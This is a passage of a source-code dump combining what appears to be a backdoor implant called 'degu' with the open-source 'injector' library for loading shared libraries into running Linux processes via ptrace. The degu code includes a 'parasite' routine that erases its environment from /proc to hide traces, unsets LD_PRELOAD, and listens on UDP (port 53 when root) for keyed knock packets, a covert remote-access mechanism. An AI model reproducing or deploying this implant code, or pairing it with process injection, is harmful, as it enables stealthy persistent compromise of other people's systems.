114 | TRACE("unable to open %s",filename);
115 | return -1;
116 | }
117 | int r = fscanf(f, fmt,
118 | &start_code, &end_code, &start_stack,
119 | &start_data, &end_data, &start_brk,
120 | &arg_start, &arg_end, &env_start, &env_end);
121 |
122 | fclose(f);
123 |
124 | if (r != 10) {
125 | TRACE("parsing %s failed\n",filename);
126 | return -1;
127 | }
128 |
129 | uintptr_t brk = (uintptr_t) sbrk(0);
130 |
131 |
132 | *m = (struct prctl_mm_map){0};
133 |
134 | m->start_code = start_code;
135 | m->end_code = end_code;
136 | m->start_data = start_data;
137 | m->end_data = end_data;
138 | m->start_brk = start_brk;
139 | m->brk = brk;
140 | m->start_stack = start_stack;
141 | m->arg_start = arg_start;
142 | m->arg_end = arg_end;
143 | m->env_start = env_start;
144 | m->env_end = env_end;
145 | m->auxv_size = 0;
146 | m->exe_fd = -1;
147 |
148 | return 0;
149 | }
150 |
151 | static void cleandeguenv(){
152 | char filename[256];
153 | snprintf(filename, sizeof filename - 1, "/proc/%d/stat", getpid());
154 |
155 | struct prctl_mm_map m;
156 | int r = get_mm_map(filename, &m);
157 | if (r)
158 | return ;
159 |
160 | m.env_end = (uintptr_t)m.env_start;
161 | r = prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long) &m, sizeof m, 0);
162 | if (r == -1) {
163 | TRACE("prctl error");
164 | return ;
165 | }
166 | }
167 |
168 | void parasite(int port, int clean){
169 | TRACE("inside parasite %i",port);
170 |
171 | if (clean == 1)
172 | cleandeguenv();
173 | unsetenv(PRELOAD);
174 |
175 |
176 | if ( (port == 53) && (getuid()==0) ){
177 | signal(SIGALRM,sig_alrm);
178 | alarm(WAKE);
179 | setup_keys();
180 | for(;;){
181 | sleep(1);
182 | }
183 | exit(EXIT_SUCCESS);
184 | }
185 |
186 |
187 | struct sockaddr_in saddr, caddr;
188 | socklen_t clen = sizeof(caddr);
189 | setup_keys();
190 | int ssock;
191 | if ((ssock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
192 | exit(EXIT_FAILURE);
193 | }
194 |
195 | memset(&saddr, 0, sizeof(saddr));
196 | saddr.sin_family = AF_INET;
197 | saddr.sin_addr.s_addr = INADDR_ANY;
198 | saddr.sin_port = htons(port);
199 |
200 | if (bind(ssock, (struct sockaddr *)&saddr, sizeof(saddr)) == -1) {
201 | TRACE("udp listen on %i error",port);
202 | close(ssock);
203 | exit(EXIT_FAILURE);
204 | }
205 |
206 | unsigned char buffer[1500];
207 |
208 | while (1) {
209 | memset(buffer,0,1500);
210 | unsigned char *towrite = buffer + STRIPUDP;
211 | int i = recvfrom(ssock, towrite, 1500 - STRIPUDP , 0, (struct sockaddr *)&caddr, &clen);
212 | TRACE("recv %i ",i);
213 | knock(buffer,i+STRIPUDP);
214 | }
215 | exit(EXIT_SUCCESS);
216 | }
--------------------------------------------------------------------------------
/degu/wrap.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | asm (".symver memcpy, memcpy@GLIBC_2.2.5");
15 | asm (".symver realpath, realpath@GLIBC_2.2.5");
16 | asm (".symver __isoc99_sscanf, __isoc99_sscanf@GLIBC_2.2.5");
17 | asm (".symver __isoc99_vsscanf, vsscanf@GLIBC_2.2.5");
18 | asm (".symver __isoc99_vfscanf, vfscanf@GLIBC_2.2.5");
19 | asm (".symver __isoc99_fscanf, __isoc99_fscanf@GLIBC_2.2.5");
20 | asm (".symver __libc_start_main, __libc_start_main@GLIBC_2.2.5");
21 | asm (".symver regexec, regexec@GLIBC_2.2.5");
22 | asm (".symver glob, glob@GLIBC_2.2.5");
23 | //asm (".symver fstat, fstat@GLIBC_2.2");
24 | //asm (".symver getauxval, getauxval@GLIBC_2.16");
25 |
26 | int __libc_start_main(int *main, int argc, char ** ubp_av, void *init, void *fini , void *rtld_fini, void *stack_end);
27 |
28 | int __wrap___libc_start_main(int *main, int argc, char ** ubp_av, void *init, void *fini , void *rtld_fini, void *stack_end){
29 | return __libc_start_main(main,argc,ubp_av,init,fini,rtld_fini,stack_end);
30 | }
31 |
32 | void *__wrap_memcpy(void *dest, const void *src, size_t n)
33 | {
34 | return memcpy(dest, src, n);
35 | }
36 | char *__wrap_realpath(const char *restrict path,char *restrict resolved_path)
37 | {
38 | return realpath(path, resolved_path);
39 | }
40 |
41 | int __wrap___isoc99_sscanf(const char *restrict str,const char *restrict format, ...){
42 | va_list vargs = {0};
43 | va_start(vargs, format);
44 | int ret = vsscanf(str,format,vargs);
45 | va_end (vargs);
46 | return ret;
47 | }
48 |
49 | int __wrap___isoc99_fscanf(FILE *restrict stream,const char *restrict format, ...){
50 | va_list vargs = {0};
51 | va_start(vargs, format);
52 | int ret = vfscanf(stream,format,vargs);
53 | va_end (vargs);
54 | return ret;
55 | }
56 |
57 |
58 | int __wrap___isoc99_vsscanf(const char *restrict str,const char *restrict format, va_list vargs){
59 | return vsscanf(str,format,vargs);
60 | }
61 |
62 | int __wrap_stat(const char *restrict path,struct stat *restrict buf) {
63 | return syscall( SYS_stat, path, buf );
64 | }
65 |
66 |
67 | int __wrap_regexec(void * preg, const char *restrict string, size_t nmatch, void *p , int eflags){
68 | return regexec(preg,string,nmatch,p,eflags);
69 | }
70 |
71 | int __wrap_gnu_dev_makedev(int x,int y){
72 | return (((x)&0xfffff000ULL) << 32) | \
73 | (((x)&0x00000fffULL) << 8) | \
74 | (((y)&0xffffff00ULL) << 12) | \
75 | (((y)&0x000000ffULL));
76 | }
77 |
78 | int __wrap_glob(const char *restrict pat, int flags, int (*errfunc)(const char *path, int err), void *restrict g){
79 | return glob(pat,flags,errfunc,g);
80 | }
81 |
82 | void __procfdname(char *buf, unsigned fd) {
83 | unsigned i, j;
84 | for (i=0; (buf[i] = "/proc/self/fd/"[i]); i++);
85 | if (!fd) {
86 | buf[i] = '0';
87 | buf[i+1] = 0;
88 | return;
89 | }
90 | for (j=fd; j; j/=10, i++);
91 | buf[i] = 0;
92 | for (; fd; fd/=10) buf[--i] = '0' + fd%10;
93 | }
94 |
95 | long __syscall_ret(unsigned long r) {
96 | if (r > -4096UL) {
97 | return -1;
98 | }
99 | return r;
100 | }
101 |
102 | int __wrap_fstat(int fd, void *st){
103 | int ret = syscall(SYS_fstat, fd, st);
104 | if (ret != -9 || syscall(SYS_fcntl, fd, F_GETFD) < 0)
105 | return __syscall_ret(ret);
106 |
107 | char buf[15+3*sizeof(int)];
108 | __procfdname(buf, fd);
109 |
110 | return stat( buf, st);
111 | }
112 |
--------------------------------------------------------------------------------
/injector/include/injector.h:
--------------------------------------------------------------------------------
1 | /* -*- indent-tabs-mode: nil -*-
2 | *
3 | * injector - Library for injecting a shared library into a Linux process
4 | *
5 | * URL: https://github.com/kubo/injector
6 | *
7 | * ------------------------------------------------------
8 | *
9 | * Copyright (C) 2018-2023 Kubo Takehiro
10 | *
11 | * This library is free software; you can redistribute it and/or
12 | * modify it under the terms of the GNU Lesser General Public
13 | * License as published by the Free Software Foundation; either
14 | * version 2.1 of the License, or (at your option) any later version.
15 | *
16 | * This library is distributed in the hope that it will be useful,
17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
19 | * Lesser General Public License for more details.
20 | *
21 | * You should have received a copy of the GNU Lesser General Public
22 | * License along with this library; if not, write to the Free Software
23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
24 | */
25 |
26 | /*!
27 | * \file injector.h
28 | * \brief Library for injecting a shared library into a Linux, Windows and macOS process
29 | */
30 | #ifndef INJECTOR_H
31 | #define INJECTOR_H
32 |
33 | #if defined(_WIN32)
34 | #include
35 | typedef DWORD injector_pid_t;
36 | #else
37 | #include
38 |
39 | /*!
40 | * \brief Platform-dependent process id type (\c pid_t on Unix. \c DWORD on Windows)
41 | */
42 | typedef pid_t injector_pid_t;
43 | #endif
44 |
45 | #ifdef __cplusplus
46 | extern "C" {
47 | #endif
48 | #if 0
49 | }
50 | #endif
51 |
52 | #define INJERR_SUCCESS 0 /* linux, windows, macos */
53 | #define INJERR_OTHER -1 /* linux, windows, macos */
54 | #define INJERR_NO_MEMORY -2 /* linux, windows, macos */
55 | #define INJERR_NO_PROCESS -3 /* linux, windows, macos */
56 | #define INJERR_NO_LIBRARY -4 /* linux */
57 | #define INJERR_NO_FUNCTION -4 /* linux */
58 | #define INJERR_ERROR_IN_TARGET -5 /* linux, windows, macos */
59 | #define INJERR_FILE_NOT_FOUND -6 /* linux, windows, macos */
60 | #define INJERR_INVALID_MEMORY_AREA -7 /* linux, macos */
61 | #define INJERR_PERMISSION -8 /* linux, windows, macos */
62 | #define INJERR_UNSUPPORTED_TARGET -9 /* linux, windows, macos */
63 | #define INJERR_INVALID_ELF_FORMAT -10 /* linux */
64 | #define INJERR_WAIT_TRACEE -11 /* linux */
65 | #define INJERR_FUNCTION_MISSING -12 /* linux, windows, macos */
66 |
67 | typedef struct injector injector_t;
68 |
69 | /*!
70 | * \brief Attach to the specified process.
71 | * \param[out] injector the address where the newly created injector handle will be stored
72 | * \param[in] pid the process id to be attached
73 | * \return zero on success. Otherwise, error code
74 | */
75 | int injector_attach(injector_t **injector, injector_pid_t pid);
76 |
77 | /*!
78 | * \brief Detach from the attached process and destroy the specified handle.
79 | * \param[in] injector the injector handle to destroy
80 | * \return zero on success. Otherwise, error code
81 | */
82 | int injector_detach(injector_t *injector);
83 |
84 | /*!
85 | * \brief Inject the specified shared library into the target process.
86 | * \param[in] injector the injector handle specifying the target process
87 | * \param[in] path the path name of the shared library
88 | * \param[out] handle the address where the newly created module handle will be stored
89 | * \return zero on success. Otherwise, error code
90 | *
91 | * Note on Linux:
92 | * This calls functions inside of the target process interrupted by \c ptrace().
93 | * If the target process is interrupted while holding a non-reentrant lock and
94 | * injector calls a function requiring the same lock, the process stops forever.
95 | * If the lock type is reentrant, the status guarded by the lock may become inconsistent.
96 | * As far as I checked, \c dlopen() internally calls \c malloc() requiring non-reentrant
97 | * locks. \c dlopen() also uses a reentrant lock to guard information about loaded files.
98 | */
99 | int injector_inject(injector_t *injector, const char *path, void **handle);
100 |
101 | /*!
102 | * \brief Uninject the shared library specified by \c handle.
103 | * \param[in] injector the injector handle specifying the target process
104 | * \param[in] handle the module handle created by \c injector_inject
105 | * \return zero on success. Otherwise, error code
106 | * \remarks This fearute isn't supported for musl-libc processes.
107 | * See [Functional differences from glibc](https://wiki.musl-libc.org/functional-differences-from-glibc.html#Unloading_libraries).
108 | */
109 | int injector_uninject(injector_t *injector, void *handle);
110 |
111 | #if defined(INJECTOR_DOC) || defined(__linux__) || defined(__APPLE__)
112 | /*!
113 | * \brief Call the specified function taking no arguments in the target process (Linux and macOS only)
114 | * \param[in] injector the injector handle specifying the target process
115 | * \param[in] handle the module handle created by \c injector_inject or special-handles such as \c RTLD_DEFAULT
116 | * \param[in] name the function name
117 | *
118 | * The \c handle and \c name arguments are passed to \c dlsym ([Linux](https://man7.org/linux/man-pages/man3/dlvsym.3.html), [macOS](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/dlsym.3.html)) and then the return value of \c dlsym is called without arguments in the target process.
119 | *
120 | * This is same with the combination of injector_remote_func_addr() and injector_remote_call() without extra arguments.
121 | *
122 | * \note
123 | * (Linux only)
124 | * If the function in the target process internally calls non-[async-signal-safe]((https://man7.org/linux/man-pages/man7/signal-safety.7.html))
125 | * functions, it may stop the target process or cause unexpected behaviour.
126 | * \sa injector_remote_func_addr(), injector_remote_call(), injector_remote_vcall()
127 | */
128 | int injector_call(injector_t *injector, void *handle, const char* name);
129 | #endif
130 |
131 | /*!
132 | * \brief Get the message of the last error.
133 | * \remarks The message is updated only when \c injector functions return non-zero.
134 | */
135 | const char *injector_error(void);
136 |
137 | #if defined(INJECTOR_DOC) || defined(__linux__) || defined(_WIN32)
138 | #define INJECTOR_HAS_REMOTE_CALL_FUNCS 1
139 | #include
140 | #include
141 |
142 | /*!
143 | * \brief Get the function address in the target process (Linux and Windows only)
144 | * \param[in] injector the injector handle specifying the target process
145 | * \param[in] handle the module handle created by \c injector_inject or special-handles such as \c RTLD_DEFAULT
146 | * \param[in] name the function name
147 | * \param[out] func_addr_out the address where the function address in the target process will be stored
148 | * \return zero on success. Otherwise, error code
149 | *
150 | * \b Example
151 | *
152 | * Inject libfoo.so and then call foo_func(1, 2, 3) in it.
153 | * \code
154 | * void *handle;
155 | * // inject libfoo.so and get the handle
156 | * if (injector_inject(injector, "libfoo.so", &handle) != 0) {
157 | * return;
158 | * }
159 | * size_t func_addr;
160 | * // get the address of foo_func in the handle
161 | * if (injector_remote_func_addr(injector, handle, "foo_func", &func_addr) != 0) {
162 | * return;
163 | * }
164 | * intptr_t retval;
165 | * // call foo_func
166 | * if (injector_remote_call(injector, &retval, func_addr, 1, 2, 3) != 0) {
167 | * return;
168 | * }
169 | * printf("The return value of foo_func(1, 2, 3) is %ld.\n", retval);
170 | * \endcode
171 | */
172 | int injector_remote_func_addr(injector_t *injector, void *handle, const char* name, size_t *func_addr_out);
173 |
174 | /*!
175 | * \brief Call the function in the target process (Linux and Windows only)
176 | * \param[in] injector the injector handle specifying the target process
177 | * \param[out] retval \c NULL or the address where the return value of the function call will be stored
178 | * \param[in] func_addr the function address in the target process
179 | * \param[in] ... arguments passed to the function
180 | * \return zero on success. Otherwise, error code
181 | * \remarks
182 | * The types of the arguments must be integer or pointer.
183 | * If it is a pointer, it must point to a valid address in the target process.
184 | * The number of arguments must be less than or equal to six.
185 | * \note
186 | * If the function in the target process internally calls non-[async-signal-safe]((https://man7.org/linux/man-pages/man7/signal-safety.7.html))
187 | * functions, it may stop the target process or cause unexpected behaviour.
188 | * \sa injector_remote_func_addr(), injector_remote_vcall()
189 | */
190 | int injector_remote_call(injector_t *injector, intptr_t *retval, size_t func_addr, ...);
191 |
192 | /*!
193 | * \brief Call the function in the target process (Linux and Windows only)
194 | * \param[in] injector the injector handle specifying the target process
195 | * \param[out] retval \c NULL or the address where the return value of the function call will be stored
196 | * \param[in] func_addr the function address in the target process
197 | * \param[in] ap arguments passed to the function
198 | * \return zero on success. Otherwise, error code
199 | * \remarks
200 | * The types of the arguments must be integer or pointer.
201 | * If it is a pointer, it must point to a valid address in the target process.
202 | * The number of arguments must be less than or equal to six.
203 | * \note
204 | * If the function in the target process internally calls non-[async-signal-safe]((https://man7.org/linux/man-pages/man7/signal-safety.7.html))
205 | * functions, it may stop the target process or cause unexpected behaviour.
206 | * \sa injector_remote_func_addr(), injector_remote_call()
207 | */
208 | int injector_remote_vcall(injector_t *injector, intptr_t *retval, size_t func_addr, va_list ap);
209 | #endif
210 |
211 | #if defined(INJECTOR_DOC) || defined(_WIN32)
212 | /*!
213 | * \brief Same with \c injector_inject except the type of the \c path argument. (Windows only)
214 | * \param[in] injector the injector handle specifying the target process
215 | * \param[in] path the path name of the shared library
216 | * \param[out] handle the address where the newly created module handle will be stored
217 | * \return zero on success. Otherwise, error code
218 | */
219 | int injector_inject_w(injector_t *injector, const wchar_t *path, void **handle);
220 | #endif
221 |
222 | #if defined(INJECTOR_DOC) || (defined(__linux__) && defined(__x86_64__))
223 | #define INJECTOR_HAS_INJECT_IN_CLONED_THREAD 1 // feature test macro
224 | /*!
225 | * \brief Inject the specified shared library into the target process by the \c clone system call. (Linux x86_64 only)
226 | * \param[in] injector the injector handle specifying the target process
227 | * \param[in] path the path name of the shared library
228 | * \param[out] handle the address where the newly created module handle will be stored
229 | * \return zero on success. Otherwise, error code
230 | *
231 | * This calls `dlopen()` in a thread created by \c [clone()](https://man7.org/linux/man-pages/man2/clone.2.html). Note that no wonder there are unexpected
232 | * pitfalls because some resources allocated in \c [pthread_create()](https://man7.org/linux/man-pages/man3/pthread_create.3.html) lack in the \c clone()-ed thread.
233 | * Use it at your own risk.
234 | */
235 | int injector_inject_in_cloned_thread(injector_t *injector, const char *path, void **handle);
236 | #endif
237 |
238 | #if 0
239 | {
240 | #endif
241 | #ifdef __cplusplus
242 | }; /* extern "C" */
243 | #endif
244 |
245 | #endif
246 |
--------------------------------------------------------------------------------
/injector/src/linux/Makefile:
--------------------------------------------------------------------------------
1 | INJECTOR_OBJS = elf.o injector.o ptrace.o remote_call.o util.o shellcode.o
2 | CFLAGS = -Wall -fPIC -I../../include
3 |
4 | all: libinjector.so libinjector.a
5 |
6 | libinjector.so: $(INJECTOR_OBJS)
7 | $(CC) -shared -o libinjector.so $(INJECTOR_OBJS)
8 |
9 | libinjector.a: $(INJECTOR_OBJS)
10 | $(AR) rcs libinjector.a $(INJECTOR_OBJS)
11 |
12 | elf.o: elf.c injector_internal.h ../../include/injector.h
13 | injector.o: injector.c injector_internal.h ../../include/injector.h
14 | ptrace.o: ptrace.c injector_internal.h ../../include/injector.h
15 | remote_call.o: remote_call.c injector_internal.h ../../include/injector.h
16 | util.o: util.c injector_internal.h ../../include/injector.h
17 | shellcode.o: shellcode.S
18 |
19 | clean:
20 | $(RM) libinjector.so libinjector.a $(INJECTOR_OBJS)
21 |
--------------------------------------------------------------------------------
/injector/src/linux/injector.c:
--------------------------------------------------------------------------------
1 | /* -*- indent-tabs-mode: nil -*-
2 | *
3 | * injector - Library for injecting a shared library into a Linux process
4 | *
5 | * URL: https://github.com/kubo/injector
6 | *
7 | * ------------------------------------------------------
8 | *
9 | * Copyright (C) 2018-2023 Kubo Takehiro
10 | *
11 | * This library is free software; you can redistribute it and/or
12 | * modify it under the terms of the GNU Lesser General Public
13 | * License as published by the Free Software Foundation; either
14 | * version 2.1 of the License, or (at your option) any later version.
15 | *
16 | * This library is distributed in the hope that it will be useful,
17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
19 | * Lesser General Public License for more details.
20 | *
21 | * You should have received a copy of the GNU Lesser General Public
22 | * License along with this library; if not, write to the Free Software
23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
24 | */
25 | #ifndef _GNU_SOURCE
26 | #define _GNU_SOURCE
27 | #endif
28 | #include
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include
34 | #include
35 | #include
36 | #include
37 | #include
38 | #include
39 | #include
40 | #include
41 | #include "injector_internal.h"
42 |
43 | static inline size_t remote_mem_size(injector_t *injector) {
44 | return 2 * injector->data_size + injector->stack_size;
45 | }
46 |
47 | int injector_attach(injector_t **injector_out, pid_t pid)
48 | {
49 | injector_t *injector;
50 | int status;
51 | intptr_t retval;
52 | int prot;
53 | int rv = 0;
54 |
55 | injector__errmsg_is_set = 0;
56 |
57 | injector = calloc(1, sizeof(injector_t));
58 | if (injector == NULL) {
59 | injector__set_errmsg("malloc error: %s", strerror(errno));
60 | return INJERR_NO_MEMORY;
61 | }
62 | injector->pid = pid;
63 | rv = injector__attach_process(injector);
64 | if (rv != 0) {
65 | goto error_exit;
66 | }
67 | injector->attached = 1;
68 |
69 | do {
70 | rv = waitpid(pid, &status, 0);
71 | } while (rv == -1 && errno == EINTR);
72 | if (rv == -1) {
73 | injector__set_errmsg("waitpid error while attaching: %s", strerror(errno));
74 | rv = INJERR_WAIT_TRACEE;
75 | goto error_exit;
76 | }
77 |
78 | rv = injector__collect_libc_information(injector);
79 | if (rv != 0) {
80 | goto error_exit;
81 | }
82 | rv = injector__get_regs(injector, &injector->regs);
83 | if (rv != 0) {
84 | goto error_exit;
85 | }
86 | rv = injector__read(injector, injector->code_addr, &injector->backup_code, sizeof(injector->backup_code));
87 | if (rv != 0) {
88 | goto error_exit;
89 | }
90 |
91 | injector->data_size = sysconf(_SC_PAGESIZE);
92 | injector->stack_size = 2 * 1024 * 1024;
93 |
94 | rv = injector__call_syscall(injector, &retval, injector->sys_mmap, 0,
95 | remote_mem_size(injector), PROT_READ | PROT_WRITE,
96 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN, -1, 0);
97 | if (rv != 0) {
98 | goto error_exit;
99 | }
100 | if (retval == -1) {
101 | injector__set_errmsg("mmap error: %s", strerror(errno));
102 | rv = INJERR_ERROR_IN_TARGET;
103 | goto error_exit;
104 | }
105 | injector->mmapped = 1;
106 | injector->data = (size_t)retval;
107 | injector->stack = (size_t)retval + 2 * injector->data_size;
108 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD
109 | injector->shellcode = (size_t)retval + 1 * injector->data_size;
110 | prot = PROT_READ | PROT_EXEC;
111 | #else
112 | prot = PROT_NONE;
113 | #endif
114 | rv = injector__call_syscall(injector, &retval, injector->sys_mprotect,
115 | injector->data + injector->data_size, injector->data_size,
116 | prot);
117 | if (rv != 0) {
118 | goto error_exit;
119 | }
120 | if (retval != 0) {
121 | injector__set_errmsg("mprotect error: %s", strerror(errno));
122 | rv = INJERR_ERROR_IN_TARGET;
123 | goto error_exit;
124 | }
125 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD
126 | rv = injector__write(injector, injector->shellcode, &injector_shellcode, injector_shellcode_size);
127 | if (rv != 0) {
128 | return rv;
129 | }
130 | #endif
131 |
132 | *injector_out = injector;
133 | return 0;
134 | error_exit:
135 | injector_detach(injector);
136 | return rv;
137 | }
138 |
139 | int injector_inject(injector_t *injector, const char *path, void **handle)
140 | {
141 | char abspath[PATH_MAX];
142 | int dlflags = RTLD_LAZY;
143 | size_t len;
144 | int rv;
145 | intptr_t retval;
146 |
147 | injector__errmsg_is_set = 0;
148 |
149 | if (path[0] == '/') {
150 | len = strlen(path) + 1;
151 | } else if (realpath(path, abspath) != NULL) {
152 | path = abspath;
153 | len = strlen(abspath) + 1;
154 | } else {
155 | injector__set_errmsg("failed to get the full path of '%s': %s",
156 | path, strerror(errno));
157 | return INJERR_FILE_NOT_FOUND;
158 | }
159 |
160 | if (len > injector->data_size) {
161 | injector__set_errmsg("too long file path: %s", path);
162 | return INJERR_FILE_NOT_FOUND;
163 | }
164 |
165 | rv = injector__write(injector, injector->data, path, len);
166 | if (rv != 0) {
167 | return rv;
168 | }
169 | if (injector->dlfunc_type == DLFUNC_INTERNAL) {
170 | #define __RTLD_DLOPEN 0x80000000 // glibc internal flag
171 | dlflags |= __RTLD_DLOPEN;
172 | }
173 | rv = injector__call_function(injector, &retval, injector->dlopen_addr, injector->data, dlflags);
174 | if (rv != 0) {
175 | return rv;
176 | }
177 | if (retval == 0) {
178 | char buf[256 + 1] = {0,};
179 | if (injector->dlerror_addr != 0) {
180 | rv = injector__call_function(injector, &retval, injector->dlerror_addr);
181 | if (rv == 0 && retval != 0) {
182 | injector__read(injector, retval, buf, sizeof(buf) - 1);
183 | }
184 | }
185 | if (buf[0] != '\0') {
186 | injector__set_errmsg("dlopen failed: %s", buf);
187 | } else {
188 | injector__set_errmsg("dlopen failed");
189 | }
190 | return INJERR_ERROR_IN_TARGET;
191 | }
192 | if (handle != NULL) {
193 | *handle = (void*)retval;
194 | }
195 | return 0;
196 | }
197 |
198 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD
199 | int injector_inject_in_cloned_thread(injector_t *injector, const char *path, void **handle_out)
200 | {
201 | void *data;
202 | injector_shellcode_arg_t *arg;
203 | const size_t file_path_offset = offsetof(injector_shellcode_arg_t, file_path);
204 | void * const invalid_handle = (void*)-3;
205 | char abspath[PATH_MAX];
206 | size_t pathlen;
207 | int rv;
208 | intptr_t retval;
209 |
210 | injector__errmsg_is_set = 0;
211 |
212 | if (injector->arch != ARCH_X86_64) {
213 | injector__set_errmsg("injector_inject_in_cloned_thread doesn't support %s.",
214 | injector__arch2name(injector->arch));
215 | return INJERR_UNSUPPORTED_TARGET;
216 | }
217 |
218 | if (realpath(path, abspath) == NULL) {
219 | injector__set_errmsg("failed to get the full path of '%s': %s",
220 | path, strerror(errno));
221 | return INJERR_FILE_NOT_FOUND;
222 | }
223 | pathlen = strlen(abspath) + 1;
224 |
225 | if (file_path_offset + pathlen > injector->data_size) {
226 | injector__set_errmsg("too long path name: %s", path);
227 | return INJERR_FILE_NOT_FOUND;
228 | }
229 |
230 | data = alloca(injector->data_size);
231 | memset(data, 0, injector->data_size);
232 | arg = (injector_shellcode_arg_t *)data;
233 |
234 | arg->handle = invalid_handle;
235 | arg->dlopen_addr = injector->dlopen_addr;
236 | arg->dlerror_addr = injector->dlerror_addr;
237 | arg->dlflags = RTLD_LAZY;
238 | if (injector->dlfunc_type == DLFUNC_INTERNAL) {
239 | arg->dlflags |= __RTLD_DLOPEN;
240 | }
241 | memcpy(arg->file_path, abspath, pathlen);
242 |
243 | rv = injector__write(injector, injector->data, data, injector->data_size);
244 | if (rv != 0) {
245 | return rv;
246 | }
247 | rv = injector__call_function(injector, &retval, injector->clone_addr,
248 | injector->shellcode, injector->stack + injector->stack_size - 4096,
249 | //CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
250 | CLONE_VM,
251 | injector->data);
252 | if (rv != 0) {
253 | return rv;
254 | }
255 | if (retval == -1) {
256 | injector__set_errmsg("clone error: %s", strerror(errno));
257 | return INJERR_ERROR_IN_TARGET;
258 | }
259 | const struct timespec ts = {0, 100000000}; /* 0.1 second */
260 | void *handle;
261 | int cnt = 0;
262 |
263 | retry:
264 | nanosleep(&ts, NULL);
265 | rv = injector__read(injector, injector->data, &handle, sizeof(handle));
266 | if (rv != 0) {
267 | return rv;
268 | }
269 | if (handle == invalid_handle) {
270 | int max_retyr_cnt = 50;
271 | if (++cnt <= max_retyr_cnt) {
272 | goto retry;
273 | }
274 | injector__set_errmsg("dlopen doesn't return in %d seconds.", max_retyr_cnt / 10);
275 | return INJERR_ERROR_IN_TARGET;
276 | }
277 | if (handle_out != NULL) {
278 | *handle_out = handle;
279 | }
280 | if (handle == NULL) {
281 | arg->file_path[0] = '\0';
282 | injector__read(injector, injector->data, data, injector->data_size);
283 | if (arg->file_path[0] != '\0') {
284 | injector__set_errmsg("%s", arg->file_path);
285 | } else {
286 | injector__set_errmsg("dlopen error");
287 | }
288 | return INJERR_ERROR_IN_TARGET;
289 | }
290 | return 0;
291 | }
292 | #endif
293 |
294 | int injector_remote_func_addr(injector_t *injector, void *handle, const char* name, size_t *func_addr_out)
295 | {
296 | int rv;
297 | intptr_t retval;
298 | size_t len = strlen(name) + 1;
299 |
300 | injector__errmsg_is_set = 0;
301 |
302 | if (len > injector->data_size) {
303 | injector__set_errmsg("too long function name: %s", name);
304 | return INJERR_FUNCTION_MISSING;
305 | }
306 | rv = injector__write(injector, injector->data, name, len);
307 | if (rv != 0) {
308 | return rv;
309 | }
310 | rv = injector__call_function(injector, &retval, injector->dlsym_addr, handle, injector->data);
311 | if (rv != 0) {
312 | return rv;
313 | }
314 | if (retval == 0) {
315 | injector__set_errmsg("function not found: %s", name);
316 | return INJERR_FUNCTION_MISSING;
317 | }
318 | *func_addr_out = (size_t)retval;
319 | return 0;
320 | }
321 |
322 | int injector_remote_call(injector_t *injector, intptr_t *retval, size_t func_addr, ...)
323 | {
324 | va_list ap;
325 | int rv;
326 | injector__errmsg_is_set = 0;
327 | va_start(ap, func_addr);
328 | rv = injector__call_function_va_list(injector, retval, func_addr, ap);
329 | va_end(ap);
330 | return rv;
331 | }
332 |
333 | int injector_remote_vcall(injector_t *injector, intptr_t *retval, size_t func_addr, va_list ap)
334 | {
335 | injector__errmsg_is_set = 0;
336 | return injector__call_function_va_list(injector, retval, func_addr, ap);
337 | }
338 |
339 | int injector_call(injector_t *injector, void *handle, const char* name)
340 | {
341 | size_t func_addr;
342 | int rv = injector_remote_func_addr(injector, handle, name, &func_addr);
343 | if (rv != 0) {
344 | return rv;
345 | }
346 | return injector__call_function(injector, NULL, func_addr);
347 | }
348 |
349 | int injector_uninject(injector_t *injector, void *handle)
350 | {
351 | int rv;
352 | intptr_t retval;
353 |
354 | injector__errmsg_is_set = 0;
355 | if (injector->libc_type == LIBC_TYPE_MUSL) {
356 | /* Assume that libc is musl. */
357 | injector__set_errmsg("Cannot uninject libraries under musl libc. See: https://wiki.musl-libc.org/functional-differences-from-glibc.html#Unloading_libraries");
358 | return INJERR_UNSUPPORTED_TARGET;
359 | }
360 |
361 | rv = injector__call_function(injector, &retval, injector->dlclose_addr, handle);
362 | if (rv != 0) {
363 | return rv;
364 | }
365 | if (retval != 0) {
366 | injector__set_errmsg("dlclose failed");
367 | return INJERR_ERROR_IN_TARGET;
368 | }
369 | return 0;
370 | }
371 |
372 | int injector_detach(injector_t *injector)
373 | {
374 | injector__errmsg_is_set = 0;
375 |
376 | if (injector->mmapped) {
377 | injector__call_syscall(injector, NULL, injector->sys_munmap, injector->data, remote_mem_size(injector));
378 | }
379 | if (injector->attached) {
380 | injector__detach_process(injector);
381 | }
382 | free(injector);
383 | return 0;
384 | }
385 |
386 | const char *injector_error(void)
387 | {
388 | return injector__errmsg;
389 | }
390 |
--------------------------------------------------------------------------------
/injector/src/linux/injector_internal.h:
--------------------------------------------------------------------------------
1 | /* -*- indent-tabs-mode: nil -*-
2 | *
3 | * injector - Library for injecting a shared library into a Linux process
4 | *
5 | * URL: https://github.com/kubo/injector
6 | *
7 | * ------------------------------------------------------
8 | *
9 | * Copyright (C) 2018-2023 Kubo Takehiro
10 | *
11 | * This library is free software; you can redistribute it and/or
12 | * modify it under the terms of the GNU Lesser General Public
13 | * License as published by the Free Software Foundation; either
14 | * version 2.1 of the License, or (at your option) any later version.
15 | *
16 | * This library is distributed in the hope that it will be useful,
17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
